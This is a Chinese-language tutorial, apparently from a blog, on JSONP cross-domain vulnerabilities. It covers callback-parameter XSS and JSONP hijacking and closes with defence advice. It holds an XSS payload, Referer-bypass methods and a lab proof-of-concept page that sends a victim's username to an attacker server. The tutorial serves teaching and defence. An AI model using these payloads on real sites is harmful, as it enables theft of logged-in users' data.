浅谈JSONP跨域漏洞

CSRF(Cross site request forgery)跨站请求伪造,一种挟持用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,跟XSS相比,XSS 利用的是网站对用户的信任,CSRF 利用的是网站对用户网页浏览器的信任

提起CSRF,可能很多人都会想到修改个人资料授权登陆等等攻击场景,可以发现这两个场景都是写入型的CSRF漏洞,通常会忽视更常见的读取型的CSRF漏洞,主流如下两种

  • JSONP跨域资源读取
  • CORS跨域资源读取

当持有敏感资源数据的服务器没有校验请求来源时,如未严格校验Referer或未存在token机制等,都会导致读取型的CSRF漏洞的产生

今天我们就来了解下其中之一的JSONP跨域漏洞

JSONP

我们知道,同源策略SOP(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能。不同域之间相互请求资源,就算作“跨域”,为了能跨域获取资源,产生了JSONP,即JSONP 就是为了跨域获取资源而产生的一种技术手段

JSONP(JSON with Padding)即填充式的JSON,是基于JSON 格式的为解决跨域请求资源而产生的解决方案。通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。

如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

{"id" : "1","name" : "f4ke"}

通过 JSONP 的 “Padding”(填充即包装成可运行的js) , getUsers.JSON 输出为:

callback({"id" : "1","name" : "f4ke"});

它基本原理是利用HTML里script元素标签中的src属性不受同源策略影响的特性,远程调用JSON文件来实现数据传递。JSONP的基本语法为:callback({"name":"alan", "msg":"success"})

具体实现

jsonp.php,作为JSONP服务端资源获取文件,动态生成JSONP格式数据:

<?php
if(isset($_GET['callback'])){$callback = $_GET['callback'];print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {echo 'No callback param.';
}
?>

客户端可以使用原生js或者jQuery实现JSONP跨域资源请求

原生JS

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>JSONP 跨域</title>
</head>
<body><div id="here"></div><script type="text/javascript">function callbackFunction(result, methodName){var html = '<ul>';html += '<li>' + 'username: ' + result.username + '</li>';html += '<li>' + 'password: ' +result.password + '</li>';html += '</ul>';document.getElementById('here').innerHTML = html;}</script><script type="text/javascript" src="http://www.php.com:8088/jsonp.php?callback=callbackFunction"></script>
</body>
</html>

jQuery

可用$.getJSON$.ajax$.get,举例$.ajax方式

<body>
<div id="here"></div>
<script>$.ajax({  type: "get",  //jsonp默认为get请求,即使写post也会转换成get方式async: false, // jsonp默认为false,即使写true也会转换成falseurl: "http://www.php.com:8088/jsonp.php",  // 服务端地址// data: {"code" : "CA1405"},  // 入参dataType: "jsonp", // jsonp调用固定写法jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分// jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分success: function(data){ // 调用成功之后的方法var html = '<ul>';html += '<li>' + 'username: ' + data.username + '</li>';html += '<li>' + 'password: ' + data.password + '</li>';html += '</ul>';document.getElementById('here').innerHTML = html; },  error: function(){  // 调用失败之后的方法alert('error');  }  });</script>
</body>

127.0.0.1:12138通过JSONP成功跨域请求到www.php.com:8088的数据资源

JSONP跨域漏洞

JSONP跨域漏洞主要是Callback自定义导致的XSSJSONP劫持两种类型

Callback自定义导致的XSS

在JSONP跨域中,传入函数名的参数如callback,然后JSONP服务端会根据我们的传参值动态生成JSONP数据响应回来。如果JSONP服务端对于用于传入的函数名参数callback的值处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生

未设置Content-Type且callback未过滤

JSONP服务端代码jsonp.php如下:

<?php
if(isset($_GET['callback'])){$callback = $_GET['callback'];print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {echo 'No callback param.';
}
?>

默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。

当callback参数值为callbackFunction<script>alert(2333)</script>,会弹窗,响应包在未设置Content-Type情况下其值为text/html

未设置Content-Type但callback过滤

<?php
if(isset($_GET['callback'])){$callback = htmlspecialchars($_GET['callback']);$id = $_GET['id'];print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {echo 'No callback param.';
}
?>

可以看到,使用htmlspecialchars过滤后callback参数避免XSS,但若JSON数据输出部分用户输入的内容,其内容未作过滤被写入XSS payload,如下图也会弹窗

设置Content-Type: application/json

JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP服务端设置的Content-Type值,用于防御XSS

直接在jsonp.php代码开始添加设置Header字段的代码

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){$callback = htmlspecialchars($_GET['callback']);$id = $_GET['id'];print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {echo 'No callback param.';
}
?>

此时无论正常访问还是输入XSS payload,页面都不会显示内容出来:

但在浏览器查看原始数据的时候是有JSONP数据正常返回的,但由于响应包Content-Type的设置,浏览器js引擎不会在页面中解析该内容:

JSONP劫持

JSONP劫持,是一种特殊的CSRF攻击,目的是获取敏感数据。简单说JSONP劫持是将请求JSONP服务端获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。

无Referer限制:窃取用户信息

我们使用DoraBox靶场来进行演示

已登录的情况下点击JSONP劫持选项,可见返回用户信息

构造jsonp_hijacking.html网页置于攻击者域名www.php.com:8088

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>JSONP劫持测试</title><script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body><script>function test(data){$.get('http://www.php.com:8088/index.html?value='+data.username);alert(JSON.stringify(data));}</script><script src="http://dorabox.com:8066/csrf/jsonp.php?callback=test"></script>
</body>
</html>

由于JSONP服务端http://dorabox.com:8066/csrf/jsonp.php未对Referer做限制,即当诱导用户在浏览器中直接访问http://www.php.com:8088/jsonp_hijacking.html即可拿到用户信息并将其送往攻击者服务器www.php.com:8088

有Referer限制

当JSONP服务端会校验Referer字段,也有一些特定绕过方式

1、空Referer

有时候JSONP服务端对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。

实现发送空Referer的请求的方法有三种:

  • 使用iframe标签+javascript伪协议

  • 使用meta标签

  • 从HTTPS向HTTP发起请求

2、Referer过滤不严格

防御建议

  • 若可行,则使用CORS替换JSONP实现跨域功能;
  • 应用CSRF防御措施来调用JSON文件:限制Referer 、部署一次性Token等;
  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
  • 严格过滤 callback 函数名及JSON里数据的输出;

参考

JSONP跨域漏洞总结

浅谈JSONP跨域漏洞相关推荐

  1. 浅谈koa跨域问题及koa2-cors中间件

    浅谈koa跨域问题及koa2-cors中间件 什么是跨域 跨域请求资源的方法 koa中如何设置跨域 koa2-cors应答跨域请求实现 什么是跨域 由于浏览器同源策略,凡是发送请求url的协议.域名. ...

  2. 蜜罐中利用jsonp跨域漏洞和xss漏洞的分析

    一.前言 我们在打红队的时候,经常会碰到蜜罐,而更有一些"主动防御"的蜜罐中利用到了一些网站的跨域漏洞和xss,对此进行简单分析. 二.蜜罐的概念 蜜罐主要是通过布置诱饵,诱使攻击 ...

  3. Jsonp跨域漏洞浅析

    为什么要用到jsonp跨域? 同源策略:协议.域名.端口都相同,是一种安全策略,不同源的客户端脚本在没有明确授权的情况下,不能读取对方资源. 如何解决跨域(目前我掌握的有两种手段 (1)JSONP方式 ...

  4. 浅谈postMessage跨域通信与localStorage实现跨域共享

    我们可能有需要在多个域名之间共用同一个localStorage的需要 一.我们先测试不同域名之间的通信 1.有 child.html 如下,代码中 window.parent.postMessage( ...

  5. 浅谈cookie跨域的解决方案(domain)

    sso单点登录跨域cookie共享 首先了解cookie的两个属性 domain-域 通过设置这个属性可以使多个web服务器共享cookie.domain属性的默认值是创建cookie的服务器的主机名 ...

  6. 浅谈cookie跨域的解决方案——document.domain

    cookie的名/值对中的值不允许出现分号.逗号和空白符,因此在设置cookie前要用encodeURIComponent()编码,读取时再用decodeURIComponent()解码. cooki ...

  7. web漏洞挖掘指南-前端跨域漏洞

    web漏洞挖掘指南 前端跨域漏洞 一.何为跨域 1.设想一种场景,一个恶意网站上嵌入了一个iframe标签去加载银行的登陆页面,高度和宽度的设置和真实的银行官网一样,当用户访问恶意网站并登录时,攻击者 ...

  8. 【漏洞利用】JSONP跨域请求漏洞 挖掘、利用详解

    参考文章 轻松搞定JSONP跨域请求 jsonp跨域原理,使用以及同源策略 跨域漏洞丨JSONP和CORS跨域资源共享 Tag: Ref: [[019.同源策略]] 本片文章仅供学习使用,切勿触犯法律 ...

  9. 浅谈Windows XP系统漏洞的封堵

    浅谈Windows XP系统漏洞的封堵 2010年11月18日 9号    浏览:96次 发表评论 阅读评论 微软WindowsXP自出世以来就在中国市场中获得了广泛好评和客户的认同,它出色的兼容性和 ...

  10. JSONP跨域资源共享的安全问题

    目录 关于 JSONP 一.JSON 劫持 二.Callback 可定义导致的安全问题 三.其他文件格式( Content-Type )与 JSON 四.防御 摘自:http://blog.known ...

最新文章

  1. 刷题:二叉树的非递归遍历方式
  2. javascript事件列表解说
  3. CentOS 7.4 防火墙网卡设置
  4. NP-Hard问题及组合最优化问题
  5. 下采样downsample代码
  6. 经典游戏底层框架--迷宫游戏构成原理剖析
  7. 14张思维导图带你系统学习Python核心知识
  8. 全国计算机民办二本学校排行,艺术类二本院校排名,2018最新民办和公办院校全国排名...
  9. Spring Boot插件spring tool suite安装及使用
  10. session简单学习2
  11. 软件收集-建筑工程资料软件
  12. 企业邮箱如何设置邮件监控
  13. POJ 1436 Horizontally Visible Segments(线段树建图+枚举)
  14. “宠物”项目、“西瓜”项目、怎样打这些“怪物项目”?
  15. 《Boost》Part1 Minimum Spanning Tree
  16. movidius 神经计算棒 ncsdk windows 平台 支持 配置 教程
  17. 压缩软件bandizip下载
  18. JavaOOP(面向对象)学习体会
  19. x264 代码重点详解 详细分析
  20. c语言今天是星期天,今天是星期天作文400字

热门文章

  1. scratch 大家来找茬
  2. 马克思主义原理 - 圣才思维导图
  3. EXCEL条件筛选函数
  4. mysql合并两个表_MYSQL如何合并两个表
  5. 计算机频率符号,波长、频率和波速
  6. java fps计算_帧率(FPS)计算的六种方法总结
  7. 【7】PR音频及结合AU去除噪音【8】PR字幕运用
  8. 四阶魔方用三阶魔方公式时,两个特殊情况处理方式(顶面十字、最后一步)
  9. flash读取程序 msp430_MSP430 flash的操作
  10. 如何屏蔽搜狗浏览器中的广告 搜狗浏览器拦截广告的教程